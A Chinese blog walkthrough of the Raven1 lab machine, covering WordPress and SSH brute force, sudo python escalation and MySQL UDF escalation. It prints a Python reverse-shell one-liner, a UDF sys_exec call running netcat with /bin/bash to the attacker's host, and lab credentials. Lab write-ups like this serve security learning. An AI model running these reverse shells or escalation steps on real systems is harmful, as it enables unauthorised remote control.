当前位置: 首页 > article >正文

【Raven1靶场渗透】

文章目录

一、基础信息

二、信息收集

三、暴力破解

四、提权


一、基础信息

Kali IP :192.168.20.146

靶机IP :192.168.20.153

二、信息收集

nmap -sS -sV -p- -A 192.168.20.153

开放了22,80,111,58305端口

访问一下80页面

目录扫描

dirsearch -u http://192.168.20.153 -X 403

发现有wordpress cms,访问一下页面,这里需要设置hosts文件解析

http://raven.local/wordpress/wp-login.php

使用wpscan扫描

wpscan --url http://raven.local/wordpress/ --enumerate u

扫描到两个用户名:michael,steven

三、暴力破解

继续尝试暴力破解密码

wpscan --url http://raven.local/wordpress/ --passwords /usr/share/wordlists/rockyou.txt --usernames michael,steven

爆破了很久但是没有爆出密码

另外靶机存在ssh服务,ssh用户也可能是这两个用户名,尝试爆破密码

hydra -L user.txt -P /usr/share/wordlists/rockyou.txt 192.168.20.153 ssh

这里爆破的时间很长,最终得到账户信息:

Michael/michael

Steven/pink84

四、提权

1、登录steven账户

Sudo -l 看到赋予了python最高权限,不需要root密码,那么可以利用python提权

sudo python -c 'import pty; pty.spawn("/bin/bash")'
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.20.146',8080));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

直接本地反弹shell或者反弹到kali上都可以,直接获取到root权限

2、登录michael账户

sudo -l

find / -perm -u=s -type f 2>/dev/null

发现无法使用sudo和suid位提权

查看计划任务也没有特别发现,路径:/var/spool/cron ; /etc/*cron*

在网站根目录下发现了wordpress目录,并且有配置文件

看到了数据库root账户密码

Ps -aux | grep mysql

查看当前数据库进程为root权限运行,可以考虑mysql udf提权

连接数据库

mysql -uroot -pR@v3nSecurity

select version(); ---查看版本

查看是否有写入权限:show global variables like 'secure%';

查看插件目录:show variables like '%plugin%';

查看系统版本,这可以确定等下我们要用的脚本:show variables like '%compile%';

kali 上寻找 exp:find / -name "*mysqludf*" 2>/dev/null

cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so /root

python -m http.server 8090

靶机上

cd /tmp

wget http://192.168.20.146:8090/lib_mysqludf_sys_64.so

提权操作

use mysql;
create table hack(line blob); #新建一个表,用来存放本地传来的 udf 文件的内容
insert into hack values(load_file('/tmp/lib_mysqludf_sys_64.so')); #在 hack 中写入 udf 文件内容
select * from hack into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so'; #将 udf 文件内容传入新建的 udf 文件中
create function sys_exec returns integer soname 'lib_mysqludf_sys_64.so'; #导入 udf 函数
select sys_exec('nc 192.168.20.146 9090 -e /bin/bash'); #执行

nc -lvvp 9090

python -c 'import pty;pty.spawn("/bin/bash")'

提权成功

此靶机在前面做过几乎一样的,但是在打的时候完全不记得了,并且采用的方式也和前面有一定的区别,也不算重复劳动。

http://www.kler.cn/a/457840.html

相关文章:

  • 钱币找零.
  • 秒鲨后端之MyBatis【1】环境的搭建和核心配置文件详解(重置)
  • 智能工厂的设计软件 应用场景的一个例子:为AI聊天工具添加一个知识系统 之5
  • vue.js普通组件的注册-全局注册
  • 7-Gin 中自定义控制器 --[Gin 框架入门精讲与实战案例]
  • CPU性能优化--后端优化
  • upload-labs关卡记录5
  • 【论文笔记】Contrastive Learning for Sign Language Recognition and Translation
  • 云计算时代携程的网络架构变迁
  • vulnhub jangow靶机
  • 《云计算能不能真正实现按需付费?》
  • unplugin-vue-router 的基本使用
  • 机器学习周报-TCN文献阅读
  • vulnhub DriftingBlues6靶机
  • C++ 设计模式:装饰模式(Decorator Pattern)
  • 如何给 Flask 项目创建 Systemd 服务 ?
  • 【Maven】属性管理
  • 基于云计算的资源管理系统
  • ModbusTCP转Profinet:工业通信的利器
  • TCP网络编程(一)—— 服务器端模式和客户端模式